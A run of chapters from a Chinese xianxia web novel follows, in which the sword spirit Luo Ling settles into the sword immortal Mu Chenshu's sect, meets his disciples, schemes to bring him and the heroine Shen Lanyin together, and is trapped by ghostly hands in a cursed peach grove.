沈兰因眨眨眼，洛绫一本正经道：“夸人认真细致的意思。” “这么说师叔是挺细致的。”沈兰因挽起洛绫的手臂，明艳的面庞上尽是盈盈的笑意，“咱们走吧，是时候回万衡峰了。” 洛绫没料到沈兰因这么自来熟，一上来就要贴贴了，但她也并未推辞，毕竟和光环主角搞好关系，那好处自然是大大的有。 “沈姑娘，你今日似乎心情不错？”洛绫见她眉目间藏不住的红光，不由多问了几句。 沈兰因拍了拍她的肩膀，轻咳两声，低声说道：“多亏了你的梨子。” “？” 梨子？ “想见之人原来近在眼前。”她径自往前看去，洛绫也顺着她的目光看，廊道尽头却只站着一袭绿衣的牧沉书。 洛绫一怔，牧沉书救下沈兰因，沈兰因心系牧沉书，这……她是不是无意间错乱了什么？ * 万衡峰，栖云顶。 天光尚且昏暗，云海翻涌如絮，浓雾笼罩着高居峰顶的巨大古钟，随着雾色寸寸化白，古钟敲响了晨时的第一声—— 钟声喤喤，震得山棱颤动，林鸟鸣啼，霞光腾入云层，霎时如游龙入海，金鳞四射，搅动天地，一轮红日巍巍出卯宫。 肃风门也到了上晨课的时辰，书山勤道上，走来几个年轻修士，他们手握竹简，神情有说有笑。 “各位，前两日新出的话本有无品鉴？” “自然品鉴了，近来的《倩影奇谭》和《捉妖志》皆是不错……” “欸，什么倩影奇谭，捉妖志，都是些食之无味的陈腔滥调了，难不成你们没看东山书生的新书？废柴少年入赘豪门，惨遭妻家欺凌，只高呼一声剑来，瞬间天下神剑纷至！” “东山书生竟出新书了？可有趣？” “有趣得紧，我拿到拓本便连夜看完了，待下了晨课，我借你们阅览阅览。” “如此甚好！那就多谢王兄了！” …… 几人继续热火朝天地交谈着，一会儿聊话本，一会儿聊这几日新来的弟子几男几女，是美是丑，在得知新来的弟子多是虎背熊腰的壮汉后，都纷纷表示以道心为重。 “咦，高兄，你怎么半句话不说？”突然有人回头看向一直沉默寡言的年轻修士。 高岳听到有人呼唤，忽的愣愣抬头，看着前面几张关切的面庞。 “我……” 一弟子猜道：“我知道了，高兄是在为明年的仙门大比焦虑呢，上回没拿到名次，棣明真君差点没扒了他的皮——” “棣明真君性子是如此的。” 另一弟子左右看了看，手指略微捏了个凝音阵，扩在几人周围，这才放下心来续道：“可不是单我这么说，门内不少弟子都这么觉得，棣明真君向来眼红月海仙人，非要让你们几个弟子跟裘锦苏烟他们比来比去，一个不顺心便要斥责你们，委实太过。”< 12. 十二 剑山 《剑灵她整日妖言惑仙》全本免费阅读 高岳匆匆忙忙赶到书山，来到烟锦林前蜿蜒的雅致小筑。 “高师兄，在旁边的八角亭！” 他听从苏烟的提醒，深吸一口气，踏入了小筑旁的一座石亭。 “你来了？” 高岳听到耳边传来的清泠声音，心头一紧，连忙上前，连看都不敢看面前之人一眼，便俯下身，要跪下去。 “师叔，弟子知错了……” “这是那日晨课的影符。” 却见一只纤长的手朝他递来一块符牌，高岳愣了愣。 “愣着做什么？” 他连忙接下符牌，抬起头，却见绿衣少年坐在亭中石桌旁，正风轻云淡地啜茶。 “那日我找你问玉佩的下落，耽误了你的晨课，故此到当日主课的晚颜真君那里求取了一枚影符，缺漏的课程你可通过影符观看。” 就这？ 高岳眨眨眼，定睛一看，少年腰间佩的正是那枚先前丢失的羊脂玉佩，他问道：“师叔，玉佩您找到了？” “玉佩我找到了。”牧沉书点头，“就在幽泉剑冢之内。” 高岳缓缓松了口气，又面露歉意道：“师叔，都怪弟子没看好自己的灵兽，您放心，等我回去后，一定罚丑丑三个月不准吃胡萝卜！” “噗嗤。”一旁传来懒懒的腔调，“你这可是虐待动物。” 这声音听着竟有几分耳熟，他疑惑地看去，只见月海师叔身侧，坐着一个平平无奇的白衣少女，手中拿着两块栗子酥，正津津有味地吃着点心。 “这位是……” “她是我新收的剑灵。”牧沉书放下手中茶杯，看了眼满嘴点心的白衣少女。 高岳眯起眼，纳闷道：“剑灵？我怎么觉得，声音好生耳熟……” 洛绫猛地咳嗽了几声，嘴里的栗子酥差点没喷出来，幸好牧沉书不动声色地推了杯茶到她面前。 她捧起茶，灌了一口，疏通了堵塞的食管，却没疏通紧张的心情，这家伙竟然还认得出她，都二十年了，不至于吧…… 她擦了擦额角的汗，朝高岳笑道：“可能是我声音太大众化了吧？哈哈。” “也对。”高岳点头，“我天天待在肃风门哪里会认识外头的剑灵？” 牧沉书眯缝起眼，看着满头大汗的洛绫，似乎心谙了什么，却只是继续拿起瓷杯，看向高岳道：“不过她说的不错，你回去后莫要欠待丑丑，它只是个灵兽，又不聪颖，说要罚不吃胡萝卜，那也得该是你不吃胡萝卜——” 高岳愣了愣，“那弟子……以后不吃胡萝卜了？” “……我自然不是让你不吃胡萝卜，你回去后，便辟谷三个月吧，往后多留意自个的灵兽。” 高岳颇为意外，辟谷三个月，称不上是多么严厉的惩罚，对他这个境界的修士来说，除了偶尔嘴馋外，进食已经没那么必要了。 “谢师叔宽恕之恩。”高岳抱拳道谢后，又小心翼翼地抬起双眸，“那个，还有，师叔，我师父那儿……” 牧沉书颔首道：“此事不会告知你师父的，回去好好上晨课吧。” 高岳大喜，连声道谢，而后踩上飞剑喜气洋洋地返回书山。 洛绫望着高岳离去的身影，这才松了口气，继续没心没肺地吃点心。 “我不在的这些年，烟锦林可有什么事发生？” 牧沉书看向亭中站着的一男一女，二人瞧着面容稚嫩，洛绫倒是在剑冢中隐约见过，却不知姓名。 黄衣少女率先回道：“没什么事儿，师父，就是我和师兄参加了场仙门大比……” “我知道，二十年前那场仙门大比。”牧沉书点头，“想来你们都绕到幽泉去了，应当也没拿到什么名次。” 黄衣少女不好意思地干笑着。 少女身畔的俊俏少年拍着胸膛道：“不过师父，我和师妹也不是什么也没干，您看，您不在的时候我俩可将烟锦林拾掇得干净整洁，浇花施肥，除草杀虫，可勤劳了——” “境界是半点没长，嘴巴却越发活络了。”牧沉书放下瓷杯，鸦青色的衣袖落在石桌上，他一手撑着额角，“裘锦，我给你的凝秋十二式练得如何了？” “回禀师父，练到第十式了。”裘锦得意地挺起了胸膛。 “练给我瞧瞧。” 牧沉书话音落下，名叫裘锦的少年立刻拔剑出鞘，当场操练起来，少年身姿如鹤，一张一合间，剑锋挥舞如雨点，甚是优雅。 洛绫一边吃着点心，一边拍手叫好：“漂亮！” 牧沉书乜了她一眼，淡淡对裘锦道：“光顾着好看了，软绵绵的，多用点力气，少调动灵气，回去继续练习。” “好。”裘锦吃了瘪，收起剑，退到了后方。 裘锦吃完瘪，扭头还不忘拉师妹下水：“那啥，师父，您临走前不还交代苏烟师妹练习心法嘛，是不是她也得演示演示……” 黄衣少女浑身一悚，劳什子的心法，她连一半都没练出个名堂呢。 “罢了，心法今日是没空看了，待会儿我还得去梅谷拜谒你们师公。” 牧沉书此话一出，苏烟乐得嘴角止不住上扬，偷摸着踩了裘锦鞋尖儿一脚，少年倒吸一口凉气。 她朝牧沉书俯身道：“那师父，我和师兄就先退下了？” “慢着。”牧沉书长袖一抬，二人手中便各自出现了一个木盒。 他抬眸道：“都打开看看吧。” 二人忐忑地打开木盒，双眼纷纷放出光芒，“师父这……” “我从蓬莱回来时，顺道在药翁那里换了两枚丹药，可调顺紫府，你们拿着用吧。” 二人难掩欣喜，苏烟合上木盒，感动地抹了抹眼角：“师父，徒儿回去定然好好练习您教的心法。” “徒儿也会勤加练习凝秋十二式的。”裘锦更是泪流满脸地发誓。 “两颗丹药就把你们弄得感激涕零……”牧沉书无奈，“赶紧去上晨课吧。” “好的师父！” 二人将木盒放入乾坤袋，道过别后，立刻上了飞剑，离开了烟锦林。 洛绫咽下口中的点心，嘿嘿笑道：“我原以为剑仙大人是个不近人情的师长，如今看来，倒是蛮温柔的嘛，连句重话都舍不得对自己徒弟说，出去旅游还知道带伴手礼呢！” “温柔？不过是随手拿的丹药，更何况，修行在个人，我整日既打又骂，他们也不见得能有长进。” 牧沉书不以为然。 洛绫笑着点头，却知他也就是逞口舌之能，不过，牧沉书越是这般真朴，想要他黑化就越是艰难。 她想着想着，忽然想起他刚刚说，要去梅谷拜访裘锦和苏烟的师公，那也就是他的师父了？ 关于牧沉书的师父，洛绫记忆深刻。 鼎鼎大名的梅谷剑宗沈嶷，曾一剑横断万里妖山，以通天灵气造出幽幽妖海，隔绝人妖之界，震慑妖族千年，是不少凡人眼中的旷世大英雄，亦是修士们心目中的传奇人物。 不过洛绫对他印象深刻却并非是因为他的名气，而是他在书中的一些作为。 牧沉书被污蔑为魔源之身时，这个抚养他长大的师父，却并未出面为他说过一句话，这件事甚至令女主沈兰因都有些奇怪。 洛绫也奇怪，可书中并未写 13. 十三 最珍重之物 《剑灵她整日妖言惑仙》全本免费阅读 “你在剑冢从没接触过正式的修炼体系，空有沛然的灵气，却发挥不出来，自然要学点术法更好地发挥实力。” 牧沉书站在书柜前，认真地挑选着紫檀木柜中的书册。 “可我是剑灵，能学人族的术法吗？” “你是魔邪都能学。”牧沉书从书柜上取下一本书扔给洛绫，“你以为术法这种东西是人族独属的吗？” “那其他人不会说吗？说我一个剑灵去上课学术法成何体统？” 牧沉书颔首道：“是不大成体统。” “那就是了。” “不过只要我开口，什么样的体统都成得了。” “……” 大部分时间的牧沉书是与世无争的，但有时候的他又会太过说一不二。 牧沉书挑了好几本书册，什么《修真论》、《筑基十术》、《月海集》…… 洛绫指着那本《月海集》问道：“这名字……” “我编撰的书，现今也是肃风门筑基境、结丹境之弟子修炼的选本之一。” 没想到他还会写书呢……洛绫略微翻看几页，便被那些神神鬼鬼的字眼弄得云里雾里了。 “什么灵骨……什么金丹……什么紫府……” 她晕头转向。 “你识字？”牧沉书择书的手一凝，他转头看了眼身畔的白衣少女。 洛绫顿了顿，对，她是个剑灵，出生于蛮荒的剑冢，不应当会识字，不过这个世界的字基本就是前世所谓的古文，汉字又是象形的，她认个五六成不成问题。 她呵呵一笑：“剑冢里有几本古籍，跟着其他剑灵认过一些。” 如今也只能这样敷衍他了。 “认得字倒也好。”牧沉书也没追问，“本还想着让你从认字开始学起，现在看来，你过几日就可以直接去书山修炼了。” “直接去？” 洛绫一惊，她抱紧怀里的书，“不是，剑仙大人，我还啥都不会呢，再说了……” 再说了，她去上课学习了，谁来蛊惑他？ “别这么惊慌，届时会让你跟着新人一起修炼，若是你这几日把我给你的书都背下了，就基本没什么压力了。” “什么？背下？”洛绫看着手里分量不轻的三本书，“您是说把这三本书全背下？” “怎么？” 洛绫无语，牧沉书，我虽然不是个人，但是你真的狗。 “剑仙大人，小女子实在没有一目十行的能力啊。”洛绫头皮发麻，“能看完这三本都不错了。” 牧沉书愣了愣，“差点忘了，你也并非什么天资聪颖。” 洛绫一时不知该如何反驳，为了防止牧沉书布下太多任务，只能自认愚笨。 “这三本书你能看多少便看多少。”牧沉书竟然颇有耐心，“至于化用暂且不急，待到上课时，主课先生会细细讲解的。” 洛绫只得点头。 牧沉书的目光从书柜上落下，日光透过青竹窗牖洒落在白衣少女有气无力的面庞上，他想了想，问道：“你知道我为何要让你去书山上课吗？” 洛绫懒懒道：“自然是为了让我成为能配得上您的优秀剑灵。” “我已经足够强大了，不需要什么剑灵来锦上添花。”他无奈一笑，“我希望有朝一日，你也能强大到无须谁来锦上添花。” 他说罢，玄照自木桌飞出竹屋，他掠过洛绫身侧，“我去梅谷了。” “好……” 洛绫一定，等到回神过来，转过头看向屋外时，牧沉书的身影已经消失在了茫茫的青空中。 * 牧沉书走后，洛绫一个人待在剑池边的竹屋，说是竹屋，其实牧沉书这个竹屋还挺奢华的，有厅堂、回廊、五六间卧房、还有个偌大的庭院。 庭院内有一条曲折的石子小径，两侧栽种着扶疏的花草，他几十年没回来，院中的花草竟没有分毫凌乱。 这么大个院子，适合养群鸡，或是养条狗。 洛绫席地而坐，在花草之间看起了牧沉书给的书，不管怎样，他说的倒也不错，学一点术法傍身，对她完成任务肯定是有好处的。 然而刚看了两行字，她便内心波涛汹涌了，这晦涩艰难的文字，她看着看着，越发怀疑自己到底是认字还是不认字了…… 她没坚持一会儿就抬起头，忽然看到一棵歪脖子梨树下，藏着道鬼鬼祟祟的小身影。 洛绫笑了笑，朝树下之人招手：“小月儿，你躲那儿做什么？过来。” “我不过去，我若是过去了，你又要把我当成月海大人揉来捏去了……” 他小声嘀咕着。 洛绫摸着下巴，从怀里掏出一包油纸，里面放着从八角亭带回来的一块栗子酥。 她拿起栗子酥朝他挥手：“快看看，我这儿有好吃的，你过来我就给你吃哦！” “你，你以为我是大鲤鱼，这么容易上钩么？” 小月儿涨红了脸。 半炷香的时间后，洛绫的双腿上，便坐着一个软乎乎的小娃娃了。 小娃娃大口吃着栗子酥，任由少女的魔爪蹂/躏着他的头发和脸蛋。 “这种欺凌剑仙大人的感觉，太上头了……” 洛绫美滋滋地把玩着手中的小牧沉书，不过她也没忘了正事，小月儿是牧沉书的灵兽，常伴他身侧，应当知道不少关于牧沉书的事情。 “小家伙，你说，有什么法子能教一个人心灰意冷，放弃现在拥有的一切呢？” 小月儿吭哧吭哧地吃着栗子酥，随口回道：“唔，要让一个人心灰意冷还不简单？” “你说的倒容易。” “把他最珍爱，最看重的一切都毁掉不就好了？” 洛绫一怔，的确，毁掉他最看重最珍爱的一切就好了。 她捏了捏小月儿的脸蛋，笑问道：“我就是打个比方哦，只是打个比方，你知道剑仙大人最珍重之物是什么吗？” 小月儿吞下口中的栗子酥，沉思许久，抬起脑袋：“没有。” “没有？这怎么可能？” “有我也不知道，月海大人从不因任何事情动容。” 小月儿舔了舔嘴角的糕点屑。 洛绫撇过头，讳莫如深地笑了笑，这小东西没有上帝视角自然是不知，牧沉书可是能为沈兰因而死，这说明，他最珍重的，是与沈兰因之间的感情。 书中沈兰因逃婚都没让他黑化，那么只能说明这火力还不够，还得她亲自来煽风煽风，点火点火。 要知道，一个人最绝望的时刻，不是坠入地狱，而是从天堂坠入地狱。 泡影越是美好，被真相刺穿的那一刻，就越是虚妄与痛苦。 而要做到这一点，就必须铤而走险了。 洛绫打定 14. 十四 仙门一日游 《剑灵她整日妖言惑仙》全本免费阅读 洛绫第二日醒来时，发现已是清晨了，她自以为起得还算早，摇摇晃晃来到窗前，却发现牧沉书在院中练剑。 看到他练剑时的模样，剑风如玉，剑势如虹，招招直破要害，顷刻间便瓦解了院中摆放的练功木偶。 跟这样锋芒毕露的剑法相比，昨日裘锦耍的剑确实是软绵绵，只剩好看……难怪牧沉书不满意呢。 练功木偶化为虚影消散，洛绫走到院中，来到牧沉书身畔，问道:“剑仙大人，昨日是谁把我送进屋的呀？” 牧沉书收剑入鞘，淡淡扫了她一眼，“这里只有两个人，小月儿勉强算半个人，你觉得是谁送你进屋的？” 洛绫恍然大悟，“原来如此，是小月儿送我回屋的，他那么小一只，可难为他了。” “……” 牧沉书叹了口气，“晨食在前堂，你先去吃饭吧。” “晨食？” 洛绫眨眨眼，可这儿哪有卖晨食的地方？ 她摇摇头，先不管这个，“话说，剑仙大人，你起这么早，昨夜是没睡觉？” “是没睡。” “因为魇妖的缘故？” “你关心魇妖做什么？” “我是关心您。”洛绫张着手臂，“您这样下去可不行，整夜整夜的睡不着觉，总该想法子把那魇妖给除了不是？” 牧沉书一怔，移开目光，“入睡对我来说并非必要之事，因此那魇妖对我没有任何影响，过阵子再说吧。” “以您的修为，想要杀死一只妖物，还是很容易的吧？为何……” “去吃饭。”牧沉书不由分说打断了她的话头，“我要接着练剑了——” “可是……” 洛绫话音未落，便看到他抬手，剑刃折射出凛然的剑光，洛绫冷汗直流，摆了摆手，立马钻回了竹屋。 “不睡就不睡嘛，这么杀气腾腾的干嘛……” 洛绫来到正堂，发现小月儿脚步蹒跚地将吃食端到桌上，见她来了脆生生地问好:“绫姑娘早，月海大人让我给你准备的饭菜都端上来了。” “你这么点儿大，还要帮牧沉书做饭？”洛绫惊讶，“这不是压榨童工吗？” “饭是月海大人做的，小月儿不会做饭。”他朝洛绫毕恭毕敬地鞠了一躬，“您可以享用了——” 牧沉书做的饭，她还从没吃过，不过那厮在凡间的时候对她点的菜挑挑剔剔的，今日总算能吃到他做的饭，她自然要好一番批判。 她坐下，捡起筷子，发现小月儿站在旁边，一动不动的。 “你站着做什么？一起吃啊。” 小月儿摇头道:“我不吃人族吃的食物。” “胡说，你昨天还吃栗子酥吃得可欢快了呢！” 小月儿当作没听到，手手揣在袖中，别过了脑袋。 洛绫看向桌上简单的饭菜，薄皮香椿豆腐包，凉拌菜苔，一碗清淡的杂粮粥。 看着不是很有胃口，她夹了两筷子菜苔，往嘴里塞了塞，嗯，味道也就那样吧，不过倒还挺下饭。 她又啃了口香椿豆腐包，味道也挺一般的，就是汁水还算充足。 她端起杂粮粥喝了一大口，这个粥更是一般，不过也算是健康食品，吃吃也行。 一般，都很一般，牧沉书嫌这嫌那，自己的手艺也就仅此而已了。 洛绫得意地腹诽着。 …… 等到牧沉书练完剑，换了身苍青色的袍子，来到前堂，就看到自己做的一桌子晨食，空空如也，包子半个没剩，凉拌菜也一干二净。 他本想让小月儿去打碗粥来，小家伙却委屈巴巴地说:“绫姑娘把粥都吃完了。” “……” 他可煮了一大锅粥。 洛绫餍足地仰在椅子上。 “吃得这般干净，饭菜很满意？” 牧沉书坐了下来，他并不是很需要进食，一般只要打两个时辰的坐，吸纳些灵气便能维持好几个月的修炼了。 洛绫仰着头，挥挥手道:“其实也就那样吧，剑仙大人您在凡间还老嫌弃我点的菜不好吃，自己的手艺也就，嗝~~~~一般般。” 牧沉书似笑非笑地盯着她，“嗯，不过吃饱喝足后，也该去忙正事了。” “正事？” 洛绫天真地眨眨眼，“作为一个剑灵，我的正事难道不是吃喝玩乐吗？” “那很不幸，你成了我的剑灵。”他拿起茶壶倒了杯茶水，“昨日我已告知门内升仙司，你会与新来的弟子一同到书山修炼上课，你这两天就先四处溜达，熟悉一下万衡峰各处——” 洛绫瘪瘪嘴，“那剑仙大人您陪我？” “小绫儿，我虽平日里与你和声细语地说话，不过好歹也是个真仙级别的人物，是没有闲情逸致陪你四处溜达的。” 他啜了口茶，用很轻淡的语气说出了很欠揍的话。 洛绫无语，她有时怀疑自己是不是看了假书，书里的牧沉书分明是很高冷的，怎么她现在和他相处起来，却觉得他骨子里有种欠欠的气质呢？ “那剑仙大人忙着什么惊天动地的大事呢？” 洛绫呵呵笑道。 “哦，去找眠素喝茶。” 他不咸不淡地回答，洛绫想倒，她气鼓鼓道：“那总不能我一个在偌大的肃风门乱晃悠吧？万一走丢了怎么办？” “不碍事，我给你找了两个向导。” 他忽然看向洛绫身后，洛绫一怔，就听见身后传来甜腻的一声:“早！师父！我和师兄来了！” * “师父去喝茶了？”苏烟惊讶一瞬，又道:“不过也不稀奇，师父是老爱找眠素真君喝茶，两个老头子话头倒还真多。” 洛绫噗嗤一笑，裘锦在苏烟的脑袋上狠狠一敲，“师妹，你又对师父不敬了！” “我这可不是不敬，是敬爱，外界传闻中冷冰冰的月海剑仙，其实是个喜欢到处喝茶的小老头，这不是显得很有亲和力嘛，对吧？绫姑娘？” 苏烟拍了拍洛绫的肩膀。 洛绫笑着点头，“苏姑娘说的甚是有理。” “不愧是师父选中的剑灵，比某人可聪慧多了！” 苏烟朝裘锦吐了吐舌，牵起了她的手，“走，我来给你好好介绍介绍万衡峰——” “肃风门依万衡峰而造，周围也有好些仙山，我们下来的这座山呢，叫剑山，剑山上住的人不多，以前有四个人，现在只有我，师兄，还有师父……” “四个？以前还有谁？” 苏烟随口回道:“以前好像还有位师姐，不过，因为一些缘故，她陨落了。” “发生了什么？” “不知道，那时候我和裘锦还小，也刚入门，对她没什么印象，只听说是师父的第一个弟子。” 苏烟无奈地耸耸肩。 “哦……” 洛绫点点头，神秘的NPC人物——牧沉书大弟子，不知以后会否解锁。 苏烟倒是十分热情，带着洛绫在宗门内四处溜达，经过她的介绍，洛绫知道了除了剑山以外，宗门内还有几座较为主要的仙山。 首先是书山，牧沉书打算把她赶过去学习的地方，那里是弟子们上大课和研讨修炼之道的地方。 洛绫抵达书山脚下时，看着规整的 15. 十五 偶遇佳人 《剑灵她整日妖言惑仙》全本免费阅读 “何来此说？”洛绫猛咳了好几下，脸都咳得涨红。 苏烟笑道：“我这可不是瞎说，是理性分析，我原以为丢了玉佩，师父从中洲回来后会十分不妙，可没料到他长衣飘飘，如沐春风，而且，师父得有八百年没下过厨了，近来竟然又开始操持庖厨，还颇有些自得其乐……种种不寻常的迹象表明，他铁定是给我们找师母了！” “这，会不会太武断了？” “的确武断，师妹，你想多了吧？”裘锦眉角抽了抽，“师父那种人，都得独身了一千多年了，我是不信他会突然开窍找道侣。” 苏烟嚷嚷着：“那师兄你有喜欢的人吗？” 裘锦听此脸颊蓦地升起两抹红云，“我……谁说我有喜欢的人了？谁说的……我才……” “既然没有，那你懂个屁。”苏烟朝他翻了个大大的白眼。 裘锦气得咬牙切齿，洛绫却摸着下巴冷静思考着，虽然苏烟的逻辑有些无厘头，不过，对照着此情此景，倒真有点那个意味。 牧沉书回来的路上心情似乎还真不错，今早还有闲情逸致起来给她做了顿早饭，这可不是太不寻常…… 他的相好，想来想去…… 难不成…… 是我吗…… 洛绫忽然愣住了，他周围也没什么别的变化，就只是多了个她而已，嗯，饭也是给她做的，细想之间是觉得太凑巧了，巧得她头皮发麻…… “到琴山了！” 苏烟跳下飞剑，洛绫也迷迷瞪瞪地下了飞剑，琴山种满桃花，纷飞如红雨，洛绫随着二人越过山顶曲折的路径，穿过层层山石与一里桃花地，恍惚间看到一片木质建筑群。 洛绫看着看着觉得这环境布置有些许熟悉。 忽然想到苏烟方才说的琴山，她这才反应过来，哦，琴山，这是女主与她师父呆的山头。 沈兰因的师父也就是肃风门眠素真君，书中描写是位慵懒腹黑型的美男子，洛绫心中还有些许好奇。 她跟着苏烟裘锦一起步入那片木质建筑群，迎面便是一条长长的廊道。 桃花纷然而落，洛绫左右望着，还有些走神，却听苏烟抬高音量，喊了声：“看！师父在前面呢！” 洛绫一定，看向正前方，连绵的桃花吹散在廊道地板之上，深檀色上映着点点细粉，恍惚如画，煞是好看。 少年苍青色的袍角在风中微微吹掀，点缀在那幅深檀色的画上。 而站在他身畔的，则是衣摆如莲的粉衫少女，二人相望而语，少女一颦一笑流光熠熠，少年身姿昂藏，眉目如含星月，这才构成了一幅完整的绘景。 “看到没，师妹，廊道里站的那位，才是我们真正的师母——” 裘锦抱起了双臂，扬了扬了下巴。 苏烟没回话，洛绫却愣了许久…… 她倒是忘了这一茬，回来的路上，还有正牌女主外加牧沉书的未婚妻沈兰因在呢。 洛绫此时有点恨自己看的不是无脑文了，若是无脑文的话，主角顶多也就是只知道横冲直撞的傻白甜，亦或是郁郁不得志的苦大仇深脸。 那样即便产生不如意的情绪也是理所应当的。 可不是那样的，沈兰因这个角色其实在书中是很有魅力的。 洛绫不讨厌她，也难以讨厌她，甚至觉得她与牧沉书站在廊道中的这幅场景十分唯美，唯美到……她着实有点想掏出一颗红鼻子给自己戴上。 “天哪……我是怎么会觉得自己的魅力值已经凌驾于女主之上的？” 她在内心灵魂发问，她方才竟然觉得牧沉书不喜欢女主，喜欢自己？？ 荒谬！ 洛绫深吸一口气，牧沉书找什么眠素真君喝茶，分明是为了多瞧两眼沈兰因找的借口罢了。 她不由哼哼两声，这家伙心里的小九九还真是一眼看穿。 苏烟率先往前，朝廊道内的牧沉书招手:“师父！” “嗯？你们逛到琴山了？”牧沉书转过头，看到迎面走来的苏烟与裘锦，“她呢？” “您是说剑灵姑娘？” 苏烟转身，将姗姗来迟的洛绫一搂，带到了牧沉书面前。 “怎么无精打采的？”牧沉书见洛绫刻意躲开他的目光，奇怪地问道。 “没有……”洛绫回过神来，“就是天气太好，有点春困——” “听着不像是那么回事。” 洛绫呵呵一笑：“不像吗？又或许在思考剑仙大人分明说要去喝茶什么的，怎么在这里偶遇佳人吧？” “是你自己要过来的。”牧沉书回答得莫名其妙，“眠素日上三竿也未醒来，喝茶之事只能作罢了。” 沈兰因歉意道：“不好意思，前阵子东山书生不是出新话本嘛，师父没日没夜地追了好几宿，总算才看完，这会在梦中会周公呢，这才没法接待师叔……” “通宵看小说……眠素真君还挺接地气。”洛绫咂咂嘴。 “师父没法起榻接待，只是可惜了师叔带来的好茶了。”沈兰因叹了口气。 “不可惜！” 洛绫灵光乍现，回头看向苏烟与裘锦，“正好这么多人都在这儿呢，反正也逛累了，一起喝口茶歇息会儿怎么样？” “什……么？”苏烟吓得声音尖锐了几分，“和师父一起喝茶？” 牧沉书淡淡问道：“苏烟，和为师喝茶怎么了？” “不是，没怎么，殊荣，荣幸！”苏烟连忙摆手，干笑着冲裘锦使了个眼色。 裘锦会意点头，举手道：“徒儿这就去泡茶！” “你，我不是让你去泡茶……”苏烟几欲吐血。 * 洛绫自觉先前是小丑了一番，不过，牧沉书与沈兰因感情升温的确是她期望的场面。 所以她才会提议在琴山喝茶，顺便也给牧沉书和沈兰因创造点相处的机会，牧沉书是根无情的朽木，那自然就只能她这个局外人来推波助澜了。 她挑了一处风景还算唯美的地方，三三两两的桃花树下，摆着一张青石桌，云蒸霞蔚，花落纷纷，再往外便是高耸的悬崖与深不见底的渊薮。 裘锦将茶泡好，端端正正递了杯给牧沉书，然后便依次为其他人斟茶。 洛绫接过茶，看向在场的其余四位—— 牧沉书，自然是木头似的喝茶，沈兰因则一如既往的光环罩身。 剩下的两个弟子，苏烟捧着茶杯，身子却僵滞得一动不动，想来是因为和牧沉书喝茶要多尴尬有多尴尬。 裘锦倒是没啥心眼，喝茶如喝水，一口便饮尽了整杯。 洛绫嘴角弯了弯，放下茶杯，对苏烟道：“对了，我方才好像有物件落在那片桃花地中了！” “是吗？”苏烟忙不迭地放下茶杯，“要不，我跟你一起去找找吧？” 她也很是上道地站起身，洛绫点头，顺带拉起了裘锦：“裘师兄也陪我去找找吧。” “我，我也去吧。”沈兰因 16. 十六 撞邪 《剑灵她整日妖言惑仙》全本免费阅读 桃花如雨纷然落，青石桌上，沈兰因喝完了杯中的茶，小心翼翼转过头，看着放置在青衣仙长那一侧的茶壶，试探着伸手去取。 青衣仙长却主动拿起了茶壶，纤纤指尖抹过壶颈，捏起瓷耳，为她缓缓斟茶。 她愣了下，“师叔，我自己来就可以了。” “无妨，趁着小绫儿他们不在，我正好也有话想与你说。” 牧沉书将茶杯推到她面前。 沈兰因心里咯噔一下，也不知他究竟要说何事。 “其实在洞天时，我就想问你了，不过小绫儿一直在旁，我不便开口。” 牧沉书微微抬起那双蕴着凛冽寒水的黑眸。 “我……”沈兰因感到背脊隐隐发凉，手指不自觉攥紧了膝上的衣襟，她似乎预感到他要说什么了。 牧沉书缓缓道：“那日在东宁海的洞天，除了我、小绫儿、你，这三人以外，是不是还有别人?” “师叔我……” “不能说，还是不愿说？”牧沉书眸光低垂，落在沈兰因微微颤栗的双肩之上。 她自然是不能告诉他，同样的，她也没有资格拒绝来自门内仙长的提问，眼下可如何是好…… 沈兰因咬紧了下唇。 “师父！不好了！” 黄衣少女气喘吁吁地从灼灼的桃花树之间奔来，差点没摔在石桌之上，幸好她身后的少年将她稳稳扶住。 牧沉书看着急匆匆的苏烟裘锦二人，眉尖倏地蹙起，“小绫儿呢？” 苏烟急得声音带了哭腔：“我们找不到绫姑娘了，她突然就不见了……也不知怎么回事……我们找遍了桃花地，什么术法都用了，可连她的气息都感知不到……” “莫慌。”沈兰因见状连忙起身，“这里是琴山，不可能会有邪物的，或许绫姑娘只是一时走丢到哪个山洞了，我们一起去找找就好……” 她话音未落，一转头却发现身畔的仙长不知何时已消失得无影无踪。 * 花，到处都是花。 洛绫站在纷纷的桃花之间，刚回过神来，按理说，她走得也不快，怎么会直接把那俩小孩儿给甩掉了？ 而且，这地方会不会安静得太诡异了？ 她分明记得方才还是有不少风声水声落花声的，此刻她却好像被蒙住了双耳，只看得到桃花随风而落，却听不见一点声响。 冷静思考片刻过后，洛绫点了点头，唇角不妙地抽动了两下—— 完蛋，这是撞邪了。 下一刻，脚底地皮绽裂，寒意自腿部袭来，无数苍白的手臂朝上伸张，如藤蔓般交缠着攀上洛绫的腰肢与双臂，尖锐刺耳的鸣啸声不断涌入她的耳廓。 洛绫霎时僵住，这不是仙山吗？还真有邪物？ 来不及多加思考，她便消隐了魂形，祭出本体青锋剑，刺啦一声，快剑斩断了那些破地而出的苍白手臂。 满地血浆喷涌，断裂的手臂仿若根根虬曲的树枝，层层交叠于地表。 但更多的土地开始绽裂，更多的手臂自地底探出。 眼见着灵气告急，青锋剑立时犹如箭矢冲破重重包围，一路往桃花地外飞逃，而这仅有一里地的桃花林却仿佛无穷无尽般，无论她怎么飞都飞不到尽头。 洛绫实在撑不住了，地上又是遍地的鬼手，她只好寻到一处高挑些的树，落了上去，这才化出魂形。 她看着地上那白茫茫一片的鬼手，一旦落下去，顷刻间就会被撕碎，更别说那东西似乎还在伸张，欲要挣脱泥土的束缚。 苍白鬼手之下又藏着什么怪物？洛绫不得而知。 这地方很显然不再是那个普普通通的桃花林了，她很可能误入了充满邪物的结界，并且还不知如何走出去。 莫非今日就是她投胎转世之日？任务才做了一半就得被扔去海沟里啃虾米？ 不，这可不成。 洛绫微微合上眼，试图冷静思考，她像是想起什么似的，猛然睁开眼，从腰间掏出一枚闪烁着光亮的蛹。 对了，还有这个，牧沉书给的觅宝蛹。 既然他说可以寻到想寻之物……她在心中默念了句，张开手掌，雪色的蛹壳安静地躺在她的手心，牧沉书给的东西应当不会是假的吧？ 下一刻，却见光蛹裂开一丝缝隙，白光如牛乳般流泻到她的指间，蛹壳一阵晃动，幼虫挣开紧裹的束缚，缓缓舒展着淡青色的翅膀——原来竟是只纤细的小蜻蜓。 叮，蜻蜓振翅一飞，便飞离了洛绫的手掌，也不做停留，径直往前飞去。 “等等！” 洛绫连忙再次化剑身，操纵着青锋剑跟上那只蜻蜓的轨迹。 